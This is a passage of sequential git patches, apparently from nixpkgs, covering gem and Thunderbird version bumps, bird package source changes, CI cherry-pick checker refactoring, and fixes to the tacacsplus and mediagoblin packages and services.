+      sha256 = "0l0av82l1i5703fd5qnxr263zw21xmbpx737av3r9pjn0w0cw3xk";
       type = "gem";
     };
-    version = "2.11.3";
+    version = "2.12.0";
   };
   logger = {
     groups = [ "default" ];
@@ -291,10 +291,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1vjrx3yd596zzi42dcaq5xw7hil1921r769dlbz08iniaawlp9c4";
+      sha256 = "0vii1xc7x81hicdbp7dlllhmbw5w3jy20shj696n0vfbbnm2hhw1";
       type = "gem";
     };
-    version = "5.2.3";
+    version = "5.2.6";
   };
   puma = {
     dependencies = [ "nio4r" ];
@@ -312,10 +312,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "14jpch41i6iclbgc8rykvkyn7ii8s9dwvn98k96qi0hqcbdpj30p";
+      sha256 = "0i2bjh42cmlkwxjrldqj8g5sfrasdp64xhfr25kvp4ziilm3qqc4";
       type = "gem";
     };
-    version = "3.1.13";
+    version = "3.1.14";
   };
   rack-protection = {
     dependencies = [
@@ -341,10 +341,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1452c1bhh6fdnv17s1z65ajwh08axqnlmkhnr1qyyn2vacb3jz23";
+      sha256 = "1sg4laz2qmllxh1c5sqlj9n1r7scdn08p3m4b0zmhjvyx9yw0v8b";
       type = "gem";
     };
-    version = "2.1.0";
+    version = "2.1.1";
   };
   ruby2_keywords = {
     groups = [ "default" ];

From 25d78cfcaad547efc5b40acda599e0b7c6fbea7a Mon Sep 17 00:00:00 2001
From: Tom Herbers <mail@tomherbers.de>
Date: Wed, 28 May 2025 00:47:04 +0200
Subject: [PATCH 0154/4511] bird2: switch from fetching tarball to
 fetchFromGitLab

To my understanding it's current best practice to fetch from
a project's git repo and not use tarballs to avoid situations
where the tarball isn't as expected.

Since this change seems to be trivial for bird i've implemented it here.

(cherry picked from commit 1c2e5e194f786095373bc6667cf90fb419d89e11)
---
 pkgs/by-name/bi/bird2/package.nix | 14 ++++++++++----
 1 file changed, 10 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/bi/bird2/package.nix b/pkgs/by-name/bi/bird2/package.nix
index 4fd22de7de28..080045ffcaa3 100644
--- a/pkgs/by-name/bi/bird2/package.nix
+++ b/pkgs/by-name/bi/bird2/package.nix
@@ -1,7 +1,8 @@
 {
   lib,
   stdenv,
-  fetchurl,
+  fetchFromGitLab,
+  autoreconfHook,
   flex,
   bison,
   readline,
@@ -13,15 +14,20 @@ stdenv.mkDerivation rec {
   pname = "bird";
   version = "2.17.1";
 
-  src = fetchurl {
-    url = "https://bird.network.cz/download/bird-${version}.tar.gz";
-    hash = "sha256-v9cY36WWgZs4AWiHgyElFLRnFjMprsm7zQ+j3uA+EOk=";
+  src = fetchFromGitLab {
+    domain = "gitlab.nic.cz";
+    owner = "labs";
+    repo = "bird";
+    rev = "v${version}";
+    hash = "sha256-9Zg3UmNEW+Q26PMj3Z1XDbPFC5vatX8i7RQSUlKXlwg=";
   };
 
   nativeBuildInputs = [
+    autoreconfHook
     flex
     bison
   ];
+
   buildInputs = [
     readline
     libssh

From 04ec2ebc80b9edcb24b36c8db24f0cccf08ea77c Mon Sep 17 00:00:00 2001
From: Tom Herbers <mail@tomherbers.de>
Date: Wed, 28 May 2025 12:41:41 +0200
Subject: [PATCH 0155/4511] bird3: 3.1.1 -> 3.1.2

Changelog: https://gitlab.nic.cz/labs/bird/-/blob/v3.1.2/NEWS
(cherry picked from commit 66c3fb9d01bd029a253995765864aad87dd80519)
---
 pkgs/by-name/bi/bird3/package.nix | 15 ++++++++++-----
 1 file changed, 10 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/bi/bird3/package.nix b/pkgs/by-name/bi/bird3/package.nix
index 1c839dadb796..9a397106203d 100644
--- a/pkgs/by-name/bi/bird3/package.nix
+++ b/pkgs/by-name/bi/bird3/package.nix
@@ -1,7 +1,8 @@
 {
   lib,
   stdenv,
-  fetchurl,
+  fetchFromGitLab,
+  autoreconfHook,
   flex,
   bison,
   readline,
@@ -11,14 +12,18 @@
 
 stdenv.mkDerivation rec {
   pname = "bird";
-  version = "3.1.1";
+  version = "3.1.2";
 
-  src = fetchurl {
-    url = "https://bird.nic.cz/download/bird-${version}.tar.gz";
-    hash = "sha256-KXJRl0/4g+TvA/zNbJEtEW7Un/Lxxjtm0dul8HCUREo=";
+  src = fetchFromGitLab {
+    domain = "gitlab.nic.cz";
+    owner = "labs";
+    repo = "bird";
+    rev = "v${version}";
+    hash = "sha256-3Ms9yozF/Ox/kSP9rzKvkrA0VBPQb1VjtbEInl8/KZM=";
   };
 
   nativeBuildInputs = [
+    autoreconfHook
     flex
     bison
   ];

From 02acf3f7af40ac812f55d0b85b40bec78394a970 Mon Sep 17 00:00:00 2001
From: Winter <winter@winter.cafe>
Date: Tue, 13 May 2025 00:02:38 -0400
Subject: [PATCH 0156/4511] ci/eval: don't evaluate packages marked as broken

We really can't expect packages that are marked as broken to evaluate,
and *especially* not on unsupported platforms.

For context, we were attempting to eval them *past* the broken throw
previously, which caused fun side effects like [0].

When we set `includeBroken = true` before, this also included unfree
packages. Those would now be excluded, which is not what we want. Thus,
we explicitly enable them separately.

Commit by winterqt, message slightly reworded by wolfgangwalther.

[0]:
https://github.com/NixOS/nixpkgs/issues/355847#issuecomment-2878873137

(cherry picked from commit 5240bdf3c63d7516f2bb74cd5e099f993a88ab89)
---
 ci/eval/default.nix                 | 4 +++-
 pkgs/top-level/release-outpaths.nix | 2 +-
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/ci/eval/default.nix b/ci/eval/default.nix
index 82f69e1c9a44..cbb77bc89bd3 100644
--- a/ci/eval/default.nix
+++ b/ci/eval/default.nix
@@ -73,7 +73,9 @@ let
       # The number of attributes per chunk, see ./README.md for more info.
       chunkSize,
       checkMeta ? true,
-      includeBroken ? true,
+
+      # Don't try to eval packages marked as broken.
+      includeBroken ? false,
       # Whether to just evaluate a single chunk for quick testing
       quickTest ? false,
     }:
diff --git a/pkgs/top-level/release-outpaths.nix b/pkgs/top-level/release-outpaths.nix
index 8ca14fc95007..731c65da73e3 100644
--- a/pkgs/top-level/release-outpaths.nix
+++ b/pkgs/top-level/release-outpaths.nix
@@ -27,7 +27,7 @@ let
           config = {
             allowAliases = false;
             allowBroken = includeBroken;
-            allowUnfree = false;
+            allowUnfree = true;
             allowInsecurePredicate = x: true;
             checkMeta = checkMeta;
 

From fc642b08f799457cbfa9d71e6366e15ac2560fd5 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 28 May 2025 12:50:18 +0200
Subject: [PATCH 0157/4511] ci/check-cherry-picks: move from
 maintainers/scripts

The script is part of CI and changes to it should be reviewed by the CI
owners. Thus moving it to ci/ is the most sensible thing to do.

(cherry picked from commit ad4b36d2d23e01c9c7303f4c9c6e1270a93dfe7f)
---
 .github/workflows/check-cherry-picks.yml          | 2 +-
 {maintainers/scripts => ci}/check-cherry-picks.sh | 0
 2 files changed, 1 insertion(+), 1 deletion(-)
 rename {maintainers/scripts => ci}/check-cherry-picks.sh (100%)

diff --git a/.github/workflows/check-cherry-picks.yml b/.github/workflows/check-cherry-picks.yml
index e85fa59bb699..5bd93ee4bbf9 100644
--- a/.github/workflows/check-cherry-picks.yml
+++ b/.github/workflows/check-cherry-picks.yml
@@ -28,4 +28,4 @@ jobs:
           BASE_SHA: ${{ github.event.pull_request.base.sha }}
           HEAD_SHA: ${{ github.event.pull_request.head.sha }}
         run: |
-          ./trusted/maintainers/scripts/check-cherry-picks.sh "$BASE_SHA" "$HEAD_SHA"
+          ./trusted/ci/check-cherry-picks.sh "$BASE_SHA" "$HEAD_SHA"
diff --git a/maintainers/scripts/check-cherry-picks.sh b/ci/check-cherry-picks.sh
similarity index 100%
rename from maintainers/scripts/check-cherry-picks.sh
rename to ci/check-cherry-picks.sh

From 92ff24137c6e153fa8796e0298bf1452c63129fb Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 28 May 2025 12:39:32 +0200
Subject: [PATCH 0158/4511] ci/check-cherry-picks: improve error handling

We recently moved the $commits variable out of a "subshell in a
herestring", let's do the same for the list of branches, where errors
would be silently swallowed as well.

Also reformat the expressions slightly, we have enough line-length.

(cherry picked from commit e2a37921691a3c0131114795d4b756aa7bd5d4a4)
---
 ci/check-cherry-picks.sh | 12 ++++--------
 1 file changed, 4 insertions(+), 8 deletions(-)

diff --git a/ci/check-cherry-picks.sh b/ci/check-cherry-picks.sh
index 0e02c709d8f5..31ff9d3a82a0 100755
--- a/ci/check-cherry-picks.sh
+++ b/ci/check-cherry-picks.sh
@@ -14,9 +14,7 @@ cd "$(dirname "${BASH_SOURCE[0]}")"
 PICKABLE_BRANCHES=${PICKABLE_BRANCHES:-master staging release-??.?? staging-??.??}
 problem=0
 
-commits="$(git rev-list \
-  -E -i --grep="cherry.*[0-9a-f]{40}" --reverse \
-  "$1..$2")"
+commits="$(git rev-list -E -i --grep="cherry.*[0-9a-f]{40}" --reverse "$1..$2")"
 
 while read new_commit_sha ; do
   if [ -z "$new_commit_sha" ] ; then
@@ -45,6 +43,8 @@ while read new_commit_sha ; do
   for branch_pattern in $PICKABLE_BRANCHES ; do
     set +f # re-enable pathname expansion
 
+    branches="$(git for-each-ref --format="%(refname)" "refs/remotes/origin/$branch_pattern")"
+
     while read -r picked_branch ; do
       if git merge-base --is-ancestor "$original_commit_sha" "$picked_branch" ; then
         echo "  ✔ $original_commit_sha present in branch $picked_branch"
@@ -79,11 +79,7 @@ while read new_commit_sha ; do
         # move on to next commit
         continue 3
       fi
-    done <<< "$(
-      git for-each-ref \
-      --format="%(refname)" \
-      "refs/remotes/origin/$branch_pattern"
-    )"
+    done <<< "$branches"
   done
 
   if [ "$GITHUB_ACTIONS" = 'true' ] ; then

From c4b8c13f346374b54c76214775013556d5779e8a Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 28 May 2025 12:43:41 +0200
Subject: [PATCH 0159/4511] ci/check-cherry-picks: run shellcheck

(cherry picked from commit 6cf5f9e83bad75cb431661e35c7e15afe1fdc1e9)
---
 ci/check-cherry-picks.sh | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/ci/check-cherry-picks.sh b/ci/check-cherry-picks.sh
index 31ff9d3a82a0..9e12464526d2 100755
--- a/ci/check-cherry-picks.sh
+++ b/ci/check-cherry-picks.sh
@@ -16,7 +16,7 @@ problem=0
 
 commits="$(git rev-list -E -i --grep="cherry.*[0-9a-f]{40}" --reverse "$1..$2")"
 
-while read new_commit_sha ; do
+while read -r new_commit_sha ; do
   if [ -z "$new_commit_sha" ] ; then
     continue  # skip empty lines
   fi
@@ -33,7 +33,7 @@ while read new_commit_sha ; do
     | grep -Ei -m1 "cherry.*[0-9a-f]{40}" \
     | grep -Eoi -m1 '[0-9a-f]{40}'
   )
-  if [ "$?" != "0" ] ; then
+  if [ -z "$original_commit_sha" ] ; then
     echo "  ? Couldn't locate original commit hash in message"
     [ "$GITHUB_ACTIONS" = 'true' ] && echo ::endgroup::
     continue

From 63b1cc8753761ea550233918cde1c8649e7763ed Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 28 May 2025 12:48:30 +0200
Subject: [PATCH 0160/4511] ci/check-cherry-picks: support different remotes
 than "origin"

The default is to checkout a contributors fork as "origin", thus the
NixOS/nixpkgs remote is most likely named differently. But not everybody
keeps their fork's main branches up-to-date all the time. Thus the
script would fail locally.

(cherry picked from commit 2fea2bbf527ec30a62892f146d1a42305f7aa8f8)
---
 ci/check-cherry-picks.sh | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/ci/check-cherry-picks.sh b/ci/check-cherry-picks.sh
index 9e12464526d2..44924ab8d8ab 100755
--- a/ci/check-cherry-picks.sh
+++ b/ci/check-cherry-picks.sh
@@ -14,6 +14,9 @@ cd "$(dirname "${BASH_SOURCE[0]}")"
 PICKABLE_BRANCHES=${PICKABLE_BRANCHES:-master staging release-??.?? staging-??.??}
 problem=0
 
+# Not everyone calls their remote "origin"
+remote="$(git remote -v | grep -i 'NixOS/nixpkgs' | head -n1 | cut -f1 || true)"
+
 commits="$(git rev-list -E -i --grep="cherry.*[0-9a-f]{40}" --reverse "$1..$2")"
 
 while read -r new_commit_sha ; do
@@ -40,10 +43,10 @@ while read -r new_commit_sha ; do
   fi
 
   set -f # prevent pathname expansion of patterns
-  for branch_pattern in $PICKABLE_BRANCHES ; do
+  for pattern in $PICKABLE_BRANCHES ; do
     set +f # re-enable pathname expansion
 
-    branches="$(git for-each-ref --format="%(refname)" "refs/remotes/origin/$branch_pattern")"
+    branches="$(git for-each-ref --format="%(refname)" "refs/remotes/${remote:-origin}/$pattern")"
 
     while read -r picked_branch ; do
       if git merge-base --is-ancestor "$original_commit_sha" "$picked_branch" ; then

From 7f5b7cda53d3a450d8e97d1f7704d88327ecfa32 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 28 May 2025 14:56:08 +0200
Subject: [PATCH 0161/4511] ci/check-cherry-picks: never use a pager

In a small terminal window this would just stop running after each
commit until you exit the pager. That's not what we want when running it
locally.

(cherry picked from commit 245b1c1c4859d4e5636dd2d3bccb3e4d3c44558e)
---
 ci/check-cherry-picks.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/ci/check-cherry-picks.sh b/ci/check-cherry-picks.sh
index 44924ab8d8ab..dd8e9bb0ca19 100755
--- a/ci/check-cherry-picks.sh
+++ b/ci/check-cherry-picks.sh
@@ -52,7 +52,7 @@ while read -r new_commit_sha ; do
       if git merge-base --is-ancestor "$original_commit_sha" "$picked_branch" ; then
         echo "  ✔ $original_commit_sha present in branch $picked_branch"
 
-        range_diff_common='git range-diff
+        range_diff_common='git --no-pager range-diff
           --no-notes
           --creation-factor=100
           '"$original_commit_sha~..$original_commit_sha"'

From 331bbc41f8a04d30f1f06a7f300e6f75a7ed5286 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 28 May 2025 13:12:19 +0200
Subject: [PATCH 0162/4511] workflows/check-cherry-picks: reduce checkout time

Using a `tree:0` filter instead of `blob:none` reduces the checkout time
from over 3 minutes to about 45 seconds. The required trees/blobs will
then be fetched on-demand.

This on-demand fetching creates additional output for `git range-diff`
on stderr, so we hide that. This only happens the first time it's run,
so we don't need to adjust the other calls - which will still return any
real errors, should they happen.

(cherry picked from commit e575364ae613c5e208862350c48a60e6234b3086)
---
 .github/workflows/check-cherry-picks.yml | 2 +-
 ci/check-cherry-picks.sh                 | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/check-cherry-picks.yml b/.github/workflows/check-cherry-picks.yml
index 5bd93ee4bbf9..3c6ef1d18920 100644
--- a/.github/workflows/check-cherry-picks.yml
+++ b/.github/workflows/check-cherry-picks.yml
@@ -20,7 +20,7 @@ jobs:
       - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
         with:
           fetch-depth: 0
-          filter: blob:none
+          filter: tree:0
           path: trusted
 
       - name: Check cherry-picks
diff --git a/ci/check-cherry-picks.sh b/ci/check-cherry-picks.sh
index dd8e9bb0ca19..580d6da6a38e 100755
--- a/ci/check-cherry-picks.sh
+++ b/ci/check-cherry-picks.sh
@@ -59,7 +59,7 @@ while read -r new_commit_sha ; do
           '"$new_commit_sha~..$new_commit_sha"'
         '
 
-        if $range_diff_common --no-color | grep -E '^ {4}[+-]{2}' > /dev/null ; then
+        if $range_diff_common --no-color 2> /dev/null | grep -E '^ {4}[+-]{2}' > /dev/null ; then
           if [ "$GITHUB_ACTIONS" = 'true' ] ; then
             echo ::endgroup::
             echo -n "::warning ::"

From 5f23ca9c9961d1da61991f196845b231d286b0d8 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 28 May 2025 15:29:50 +0200
Subject: [PATCH 0163/4511] ci/check-cherry-picks: allow cherry-picking from
 haskell-updates and python-updates

Those are protected branches, which can't be force pushed to - so the
commits will remain. Thus, we can also backport from them.

(cherry picked from commit ea636d1728f25328511401c4919eec96e7426de0)
---
 ci/check-cherry-picks.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/ci/check-cherry-picks.sh b/ci/check-cherry-picks.sh
index 580d6da6a38e..2d1e6eb7c03c 100755
--- a/ci/check-cherry-picks.sh
+++ b/ci/check-cherry-picks.sh
@@ -11,7 +11,7 @@ fi
 # Make sure we are inside the nixpkgs repo, even when called from outside
 cd "$(dirname "${BASH_SOURCE[0]}")"
 
-PICKABLE_BRANCHES=${PICKABLE_BRANCHES:-master staging release-??.?? staging-??.??}
+PICKABLE_BRANCHES="master release-??.?? staging-??.?? haskell-updates python-updates"
 problem=0
 
 # Not everyone calls their remote "origin"

From bcf8f3fa45d4131327067fa8e7a2dbae93fcb6d0 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 28 May 2025 15:31:14 +0200
Subject: [PATCH 0164/4511] ci/check-cherry-picks: never check older stable
 branches

This makes the job significantly faster when the commit can't be found
on master or staging directly. Before this change, the script would have
had to iterate through 20+ release branches before finding the latest
one. With lazy fetching for git enabled, this would take a few minutes.

(cherry picked from commit a9b718b79640e9c0ad4366391654fd4138248187)
---
 ci/check-cherry-picks.sh | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/ci/check-cherry-picks.sh b/ci/check-cherry-picks.sh
index 2d1e6eb7c03c..0ef8ff904f4a 100755
--- a/ci/check-cherry-picks.sh
+++ b/ci/check-cherry-picks.sh
@@ -46,7 +46,14 @@ while read -r new_commit_sha ; do
   for pattern in $PICKABLE_BRANCHES ; do
     set +f # re-enable pathname expansion
 
-    branches="$(git for-each-ref --format="%(refname)" "refs/remotes/${remote:-origin}/$pattern")"
+    # Reverse sorting by refname and taking one match only means we can only backport
+    # from unstable and the latest stable. That makes sense, because even right after
+    # branch-off, when we have two supported stable branches, we only ever want to cherry-pick
+    # **to** the older one, but never **from** it.
+    # This makes the job significantly faster in the case when commits can't be found,
+    # because it doesn't need to iterate through 20+ branches, which all need to be fetched.
+    branches="$(git for-each-ref --sort=-refname --format="%(refname)" \
+      "refs/remotes/${remote:-origin}/$pattern" | head -n1)"
 
     while read -r picked_branch ; do
       if git merge-base --is-ancestor "$original_commit_sha" "$picked_branch" ; then

From d630bf454d53e420b15e2c1057e9dc524eda403e Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 28 May 2025 13:05:17 +0200
Subject: [PATCH 0165/4511] ci/check-cherry-picks: fail without proper
 cherry-pick

When cherry-picking without -x or not cherry-picking at all, the
check-cherry-picks job would usually remain green. This is annoying to
deal with for reviewers, because "all green" still needs attention -
have all commits been cherry-picked properly?

If a commit was not cherry-picked correctly, either without -x or not at
all, because it's a genuine commit to begin with, the reviewers
attention is required anyway. Thus we can also let the job fail in this
case.

(cherry picked from commit dfaefc053531399e9359f4d41054be4f7b597e45)
---
 ci/check-cherry-picks.sh | 16 ++++++++++++----
 1 file changed, 12 insertions(+), 4 deletions(-)

diff --git a/ci/check-cherry-picks.sh b/ci/check-cherry-picks.sh
index 0ef8ff904f4a..612174925f57 100755
--- a/ci/check-cherry-picks.sh
+++ b/ci/check-cherry-picks.sh
@@ -17,7 +17,7 @@ problem=0
 # Not everyone calls their remote "origin"
 remote="$(git remote -v | grep -i 'NixOS/nixpkgs' | head -n1 | cut -f1 || true)"
 
-commits="$(git rev-list -E -i --grep="cherry.*[0-9a-f]{40}" --reverse "$1..$2")"
+commits="$(git rev-list --reverse "$1..$2")"
 
 while read -r new_commit_sha ; do
   if [ -z "$new_commit_sha" ] ; then
@@ -34,11 +34,19 @@ while read -r new_commit_sha ; do
   original_commit_sha=$(
     git rev-list --max-count=1 --format=format:%B "$new_commit_sha" \
     | grep -Ei -m1 "cherry.*[0-9a-f]{40}" \
-    | grep -Eoi -m1 '[0-9a-f]{40}'
+    | grep -Eoi -m1 '[0-9a-f]{40}' || true
   )
   if [ -z "$original_commit_sha" ] ; then
-    echo "  ? Couldn't locate original commit hash in message"
-    [ "$GITHUB_ACTIONS" = 'true' ] && echo ::endgroup::
+    if [ "$GITHUB_ACTIONS" = 'true' ] ; then
+      echo ::endgroup::
+      echo -n "::error ::"
+    else
+      echo -n "  ✘ "
+    fi
+    echo "Couldn't locate original commit hash in message"
+    echo "Note this should not necessarily be treated as a hard fail, but a reviewer's attention should" \
+      "be drawn to it and github actions have no way of doing that but to raise a 'failure'"
+    problem=1
     continue
   fi
 

From 18ec3aabd93483ba867a82036e4f1c449cfac04f Mon Sep 17 00:00:00 2001
From: 0x4A6F <0x4A6F@users.noreply.github.com>
Date: Sat, 17 May 2025 15:24:52 +0200
Subject: [PATCH 0166/4511] tacacsplus: disable libwrap

(cherry picked from commit bdce3dcf61ce9b1b0cd24b1964d87ba33cb6c80c)
---
 pkgs/by-name/ta/tacacsplus/package.nix | 19 ++++++++++++++-----
 1 file changed, 14 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/ta/tacacsplus/package.nix b/pkgs/by-name/ta/tacacsplus/package.nix
index a818498b627b..9ab2eeeca8b6 100644
--- a/pkgs/by-name/ta/tacacsplus/package.nix
+++ b/pkgs/by-name/ta/tacacsplus/package.nix
@@ -2,11 +2,13 @@
   lib,
   stdenv,
   fetchurl,
-  tcp_wrappers,
   flex,
   bison,
   perl,
   libnsl,
+  # --with-libwrap=yes is currently broken, TODO unbreak
+  withLibWrap ? false,
+  tcp_wrappers,
 }:
 
 stdenv.mkDerivation rec {
@@ -22,10 +24,17 @@ stdenv.mkDerivation rec {
     flex
     bison
   ];
-  buildInputs = [
-    tcp_wrappers
-    perl
-    libnsl
+  buildInputs =
+    [
+      perl
+      libnsl
+    ]
+    ++ lib.optionals withLibWrap [
+      tcp_wrappers
+    ];
+
+  configureFlags = lib.optionals (!withLibWrap) [
+    "--with-libwrap=no"
   ];
 
   meta = with lib; {

From b7444e5d118ff7bc6091d17fae7a78ee8bf23566 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sandro=20J=C3=A4ckel?= <sandro.jaeckel@gmail.com>
Date: Mon, 9 Dec 2024 23:09:00 +0100
Subject: [PATCH 0167/4511] nixos/mediagoblin: fix gmg argument parsing

Before the argument to mediagoblin-gmg would be passed to the actual command
and the rest to sh which is obviously nonsense.

(cherry picked from commit dd63ca898e0d0a3780a830a71242b29d7c7baea9)
---
 nixos/modules/services/web-apps/mediagoblin.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/services/web-apps/mediagoblin.nix b/nixos/modules/services/web-apps/mediagoblin.nix
index 9cf7d4dcb2ec..c72969ceb2cc 100644
--- a/nixos/modules/services/web-apps/mediagoblin.nix
+++ b/nixos/modules/services/web-apps/mediagoblin.nix
@@ -189,7 +189,7 @@ in
         if [[ "$USER" != mediagoblin ]]; then
          sudo='exec /run/wrappers/bin/sudo -u mediagoblin'
         fi
-        $sudo sh -c "cd /var/lib/mediagoblin; env GI_TYPELIB_PATH=${GI_TYPELIB_PATH} ${lib.getExe' finalPackage "gmg"} $@"
+        $sudo sh -c "cd /var/lib/mediagoblin; env GI_TYPELIB_PATH=${GI_TYPELIB_PATH} ${lib.getExe' finalPackage "gmg"} $*"
       '')
     ];
 

From c44d6d705d925ced0fcbcd2cbbe02a3e6632ac73 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sandro=20J=C3=A4ckel?= <sandro.jaeckel@gmail.com>
Date: Mon, 9 Dec 2024 23:10:49 +0100
Subject: [PATCH 0168/4511] nixos/mediagoblin: fix initial media reprocessing
 with gmg

Running `mediagoblin-gmg reprocess initial` before would fail with
missing GST_PLUGIN_PATH and tools in PATH.

(cherry picked from commit 81d2a488e6f8a4f9cfb99c7fc261afdf5f77da32)
---
 .../modules/services/web-apps/mediagoblin.nix | 42 ++++++++++---------
 1 file changed, 23 insertions(+), 19 deletions(-)

diff --git a/nixos/modules/services/web-apps/mediagoblin.nix b/nixos/modules/services/web-apps/mediagoblin.nix
index c72969ceb2cc..6fa5fac9f5c9 100644
--- a/nixos/modules/services/web-apps/mediagoblin.nix
+++ b/nixos/modules/services/web-apps/mediagoblin.nix
@@ -25,22 +25,32 @@ let
 
   iniFormat = pkgs.formats.ini { };
 
-  # we need to build our own GI_TYPELIB_PATH because celery and paster need this information, too and cannot easily be re-wrapped
-  GI_TYPELIB_PATH =
+  # we need to build our own GI_TYPELIB_PATH and GST_PLUGIN_PATH because celery, paster and gmg need this information and it cannot easily be re-wrapped
+  gst =
     let
       needsGst =
         (cfg.settings.mediagoblin.plugins ? "mediagoblin.media_types.audio")
         || (cfg.settings.mediagoblin.plugins ? "mediagoblin.media_types.video");
     in
-    lib.makeSearchPathOutput "out" "lib/girepository-1.0" (
-      with pkgs.gst_all_1;
+    with pkgs.gst_all_1;
+    [
+      pkgs.glib
+      gst-plugins-base
+      gstreamer
+    ]
+    # audio and video share most dependencies, so we can just take audio
+    ++ lib.optionals needsGst cfg.package.optional-dependencies.audio;
+  GI_TYPELIB_PATH = lib.makeSearchPathOutput "out" "lib/girepository-1.0" gst;
+  GST_PLUGIN_PATH = lib.makeSearchPathOutput "lib" "lib/gstreamer-1.0" gst;
+
+  path =
+    lib.optionals (cfg.settings.mediagoblin.plugins ? "mediagoblin.media_types.stl") [ pkgs.blender ]
+    ++ lib.optionals (cfg.settings.mediagoblin.plugins ? "mediagoblin.media_types.pdf") (
+      with pkgs;
       [
-        pkgs.glib
-        gst-plugins-base
-        gstreamer
+        poppler-utils
+        unoconv
       ]
-      # audio and video share most dependencies, so we can just take audio
-      ++ lib.optionals needsGst cfg.package.optional-dependencies.audio
     );
 
   finalPackage = cfg.package.python.buildEnv.override {
@@ -189,7 +199,7 @@ in
         if [[ "$USER" != mediagoblin ]]; then
          sudo='exec /run/wrappers/bin/sudo -u mediagoblin'
         fi
-        $sudo sh -c "cd /var/lib/mediagoblin; env GI_TYPELIB_PATH=${GI_TYPELIB_PATH} ${lib.getExe' finalPackage "gmg"} $*"
+        $sudo sh -c "cd /var/lib/mediagoblin; env GI_TYPELIB_PATH=${GI_TYPELIB_PATH} GST_PLUGIN_PATH=${GST_PLUGIN_PATH} PATH=$PATH:${lib.makeBinPath path} ${lib.getExe' finalPackage "gmg"} $*"
       '')
     ];
 
@@ -248,15 +258,7 @@ in
       let
         serviceDefaults = {
           wantedBy = [ "multi-user.target" ];
-          path =
-            lib.optionals (cfg.settings.mediagoblin.plugins ? "mediagoblin.media_types.stl") [ pkgs.blender ]
-            ++ lib.optionals (cfg.settings.mediagoblin.plugins ? "mediagoblin.media_types.pdf") (
-              with pkgs;
-              [
-                poppler-utils
-                unoconv
-              ]
-            );
+          inherit path;
           serviceConfig = {
             AmbientCapabilities = "";
             CapabilityBoundingSet = [ "" ];
@@ -325,6 +327,7 @@ in
             Environment = [
               "CELERY_CONFIG_MODULE=mediagoblin.init.celery.from_celery"
               "GI_TYPELIB_PATH=${GI_TYPELIB_PATH}"
+              "GST_PLUGIN_PATH=${GST_PLUGIN_PATH}"
               "MEDIAGOBLIN_CONFIG=/var/lib/mediagoblin/mediagoblin.ini"
               "PASTE_CONFIG=${pasteConfig}"
             ];
@@ -350,6 +353,7 @@ in
             Environment = [
               "CELERY_ALWAYS_EAGER=false"
               "GI_TYPELIB_PATH=${GI_TYPELIB_PATH}"
+              "GST_PLUGIN_PATH=${GST_PLUGIN_PATH}"
             ];
             ExecStart = "${lib.getExe' finalPackage "paster"} serve /var/lib/mediagoblin/paste.ini";
           };

From 1f022cb7e738c1ea3774a94fa540646019366dc9 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 28 May 2025 09:05:25 +0000
Subject: [PATCH 0169/4511] thunderbird-latest-bin-unwrapped: 138.0.1 -> 139.0

(cherry picked from commit 3aa5c1af39347531f77b57cc5f367411c23e2afb)
---
 .../thunderbird-bin/release_sources.nix       | 794 +++++++++---------
 1 file changed, 397 insertions(+), 397 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
index 26c11480272b..08adc6ff9b47 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
@@ -1,1193 +1,1193 @@
 {
-  version = "138.0.1";
+  version = "139.0";
   sources = [
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/af/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/af/thunderbird-139.0.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "db0a833bd7e89dcf627aaca2a9ed27f4d6661ed755e69dc4a5c177bae24f9dc0";
+      sha256 = "84eca2a5194370d5af70f125000f479bbd7f19cce36d66f134f6fbe6b71dd2ad";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/ar/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/ar/thunderbird-139.0.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
